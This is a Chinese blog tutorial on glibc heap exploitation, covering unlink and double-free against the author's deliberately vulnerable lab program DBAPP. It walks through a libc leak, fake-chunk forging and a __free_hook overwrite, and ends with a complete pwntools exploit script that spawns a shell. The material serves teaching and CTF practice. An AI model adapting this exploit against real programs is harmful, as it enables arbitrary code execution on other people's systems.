堆利用之double-free

本文稿费200软妹币

砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

-START-

自己一直没有总结知识的习惯,这次算是特例了,从这一篇开始,我将目前我所知道的堆利用知识一一做一下总结。

前言

这里只对堆利用技巧做相关总结,相关基础知识请大家自己补充。以下内容都假设读者已经掌握linux下堆基础知识,不清楚的请参考[glibc内存管理ptmalloc源代码分析]

(https://github.com/moonAgirl/pwnstudy/tree/master/resource)

先了解一下unlink

在free一块堆chunk内存时,会查看该块前后相邻的两块是否空闲,如果空闲的话则把他们从原来的链表上卸载出来和当前块合并在一起。分为向前合并和向后合并。 向前合并:

查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE(P)位没有设置(值为0)。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。 如果是空闲的,使用unlink操作合并它。将合并后的块添加到 unsorted bin 中。

向后合并:

查看前一个块是不是空闲的 –如果当前空闲块的PREV_INUSE(P)位为0, 则前一个块是空闲的。如果空闲,合并它。

unlink操作如下:

FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD;

假设执行free(q),对于向前合并,p就是指向q这个chunk块,对于向后合并,p指向的是q的前一个chunk块

unlink还需要过一个检查,如下:

(P->fd)->bk == (P->bk)->fd ?

即判断当前这个chunk P的后一个chunk的前一个chunk与当前这个chunk P的前一个chunk 的后一个chunk是不是同一个chunk(即P)

再谈double-free漏洞原理

Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞。double free的原理其实和堆溢出的原理差不多,都是通过unlink这个双向链表删除的宏来利用的。只是double free需要由自己来伪造整个chunk并且欺骗操作系统。 下面用我自己写的一个漏洞百出的程序来讲解一下double-free的利用细节(本系列都将基于以下这个程序来进行,程序及源码下载地址在这里(https://github.com/moonAgirl/pwnstudy/tree/master/Article/Files/Heaps)。

一个简单的列子-DBAPP

先用ida打开DBAPP分析,通过分析,可以看出这个程序包含以下几个功能: 1.show the items in the App 2.add a new item 3.change the item in the App 4.remove the item in the App 5.exit

show_item

for ( i = 0; i <= 99; ++i ) { if ( Apps[2 * i] ) printf("%d : %s", (unsigned int)i, Apps[2 * i]); }

将Apps[2*i]指向的内容打印出来。

add_item

printf("Please enter the length of item name:"); read(0, &length, 8uLL); v2 = atoi(&length); for ( i = 0; i <= 99; ++i ) { if ( !Apps[2 * i] ) { *((_DWORD *)&itemlist + 4 * i) = v2; Apps[2 * i] = malloc(v2); printf("Please enter the name of item:"); read(0, (void *)Apps[2 * i], v2) = 0; ++tatol_nums; return 0LL; } }

申请一块用户自定义长度的堆块,将堆块指针保存在全局变量Apps[2*i]中

change_item

printf("Please enter the index of item:"); read(0, &buf, 8uLL); v2 = atoi(&buf); if ( Apps[2 * v2] ) { printf("Please enter the length of item name:", &buf); read(0, &nptr, 8uLL); v0 = atoi(&nptr); printf("Please enter the new name of the item:", &nptr); read(0, Apps[2 * v2], v0); }

重写用户指定的堆块,写入长度也由用户自定义

remove_item

if ( tatol_nums ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( Apps[2 * v1] ) { free(Apps[2 * v1]); *(&itemlist + 4 * v1) = 0; puts("remove successful!!"); --tatol_nums; }

将用户指定的堆块释放。

大家应该已经发现了,在重写堆内容时可以写入用户自定义长度的内容,这是一个漏洞;另外在free堆块时,没有将全局变量里的堆指针清0,这是另一个漏洞。好清记住这两个漏洞,下面开始利用double-free进行漏洞利用。

double-free漏洞利用

首先泄露libc地址,并计算相关函数地址

Add(0x80,'AAAA') #0 Add(0x100,'AAAA') #1 Add(0x10,'AAAA') #2 Delete(1) Add(0xD0,'AAAAAAAA') #3 Show() io.recvuntil('3 : AAAAAAAA') data = u64(io.recv(6).ljust(8,'\x00')) libc_base = data - malloc_hook_libc - 0x168 free_hook_addr = free_hook + libc_base system_addr = system_libc + libc_base success('libc_base:'+hex(libc_base)) success('free_hook_addr:'+hex(free_hook_addr)) success('system_addr:'+hex(system_addr))

再申请两个堆块。

Add(0x100,'BBBB') #5 Add(0x100,'BBBB') #6

此时堆内情况如下:

再将5,6号堆块free掉

Delete(5) Delete(6)

此时再申请一块大小为5,6之和的堆块7,而申请的堆块7正是之前释放的5,6号堆块所在位置,如下:

我们在7号堆块内写入如下内容

payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8) payload += p64(0x100) + p64(0x110)

解释一下上面这个payload

payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8)

这部分是在堆块7与堆块5共享的数据部分伪造了一个fake_chunk,将fake-chunk的pre_size设置为0,size设置为0x100,fd域设置为0x6020F8 - 0x18,bk域设置为0x6020F8 - 0x10,这里这是为什么呢?0x6020F8为bss段中存储堆块5首地址的一块地址,我们在这里这样设置可以在之后的unlink操作中绕过**(P->fd)->bk == (P->bk)->fd ?** 这一判断。

payload += p64(0x100) + p64(0x110)

这部分是将堆块7与堆块6共享的部分将chunk 6的pre_size域改为0x100,size域改为0x110

最终堆内存布局如下:

之后再将chunk 6 free一次,造成double-free,触发unlink向后合并 Delete(6) 由于我们已经设置了fd和bk,unlink成功,最终bss中保存chunk 5堆块地址 heap_5 处变为 heap_5 - 0x18,如下图

于是我们编辑堆块5将保存堆块4地址的bss处覆盖为free_hook地址 Change(5,17,p64(0)+p64(free_hook_addr)) 再编辑堆块4,将free_hook处写入system地址 Change(4,17,p64(system_addr)*2) 然后free一块保存有'/bin/sh'字符串的堆块,就相当于执行system(‘/bin/sh\x00')了 Delete(0) get shell!

完整脚本如下:

# coding:utf-8 from pwn import * libc = ELF("/home/moonagirl/moonagirl/libc/libc_local_x64") LOCAL = 1 if LOCAL: io = process('./DBAPP')#,env={"LD_PRELOAD":"./libc-2.24.so"}) context.log_level = 'debug' else: io = remote("39.107.33.43", 13570) def z(a=''): gdb.attach(io,a) if a == '': raw_input() def mmenu(choice): io.recvuntil("Your choice:") io.sendline(choice) def Add(length,name): mmenu('2') io.recvuntil('Please enter the length of item name:') io.sendline(str(length)) io.recvuntil('Please enter the name of item:') io.send(name) def Show(): mmenu('1') def Delete(index): mmenu('4') io.recvuntil('Please enter the index of item:') io.sendline(str(index)) def Change(index,length,name): mmenu('3') io.recvuntil('Please enter the index of item:') io.sendline(str(index)) io.recvuntil('Please enter the length of item name:') io.sendline(str(length)) io.recvuntil('Please enter the new name of the item:') io.sendline(name) Apps_addr = 0x00000000006020A8 system_libc = libc.symbols['system'] free_hook = libc.symbols['__free_hook'] malloc_hook_libc = libc.symbols['__malloc_hook'] def pwnit(): #leak libc_base and calc some useful addr Add(0x80,'/bin/sh\x00') #0 Add(0x100,'AAAA') #1 Add(0x10,'AAAA') #2 Delete(1) Add(0xD0,'AAAAAAAA') #3 Show() io.recvuntil('3 : AAAAAAAA') data = u64(io.recv(6).ljust(8,'\x00')) success('data:'+hex(data)) libc_base = data - malloc_hook_libc - 0x168 #00007F6BD95B8C78 libc_2.23.so:__malloc_hook+168 free_hook_addr = free_hook + libc_base system_addr = system_libc + libc_base success('free_hook_addr:'+hex(free_hook_addr)) success('system_addr:'+hex(system_addr)) Add(0x20,'AAAA') #4 Add(0x100,'BBBB') #5 Add(0x100,'BBBB') #6 Delete(5) Delete(6) # z() payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8) payload += p64(0x100) + p64(0x110) + p64(0)*2 Add(0x100+0x100+0x10,payload) #7 # z() Delete(6) # z() Change(5,17,p64(0)+p64(free_hook_addr)) Change(4,17,p64(system_addr)*2) Delete(0) io.interactive() if __name__ == "__main__": pwnit()

总结

需要理解unlink,如果我这里没解释清楚,大家可以去寻找一下其他资料。double-free重要的是需要寻找一块保存当前堆块的内存地址。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Kevin-ZhangCG

[ Java面试题 ]持久层篇

32060
来自专栏ChaMd5安全团队

360春秋杯3道web题的简单分析

360春秋杯3道web题的简单分析 From ChaMd5安全团队核心成员 pcat&香香 where is my cat 这题一开始很坑的,存在着/.git/...

48680
来自专栏腾讯数据库技术

比ls快8倍?百万级文件遍历的奇技淫巧

1.4K40
来自专栏阮一峰的网络日志

Commit message 和 Change log 编写指南

Git 每次提交代码,都要写 Commit message(提交说明),否则就不允许提交。 $ git commit -m "hello world" 上面代码...

35950
来自专栏码洞

Java高阶必备之Netty基础原理

Netty是Java程序员通向高阶之路必须要过的门槛之一。干了几年的Java程序员发现业务开发似乎就是在SSH的世界里摸滚打爬的时候,会开始感到迷茫,难道程序员...

11320
来自专栏草根专栏

用ASP.NET Core 2.1 建立规范的 REST API -- HATEOAS

本文所需的一些预备知识可以看这里: http://www.cnblogs.com/cgzl/p/9010978.html 和 http://www.cnblog...

17640
来自专栏友弟技术工作室

MongoDB简易教程mongo简介及应用场景安装和使用mongodbPHP中操作mongo数据库python中操作mongo数据库

传统数据库中,我们要操作数据库数据都要书写大量的sql语句,而且在进行无规则数据的存储时,传统关系型数据库建表时对不同字段的处理也显得有些乏力,mongo应运而...

47260
来自专栏信安之路

Bypass ngx_lua_waf SQL 注入防御(多姿势)

ngx_lua_waf 是一款基于 ngx_lua 的 web 应用防火墙,使用简单,高性能、轻量级。默认防御规则在 wafconf 目录中,摘录几条核心的 S...

10900
来自专栏Jimoer

Java设计模式学习记录-状态模式

状态模式是一种行为模式,用于解决系统中复杂的对象状态转换以及各个状态下的封装等问题。状态模式是将一个对象的状态从该对象中分离出来,封装到专门的状态类中,使得对象...

16510
来自专栏大内老A

Enterprise Library深入解析与灵活应用(1):通过Unity Extension实现和Policy Injection Application Block的集成

Enterprise Library是微软P&P部门开发的众多Open source框架中的一个,最新的版本已经出到了4.0。由于接触Enterprise Li...

19060

扫码关注云+社区

领取腾讯云代金券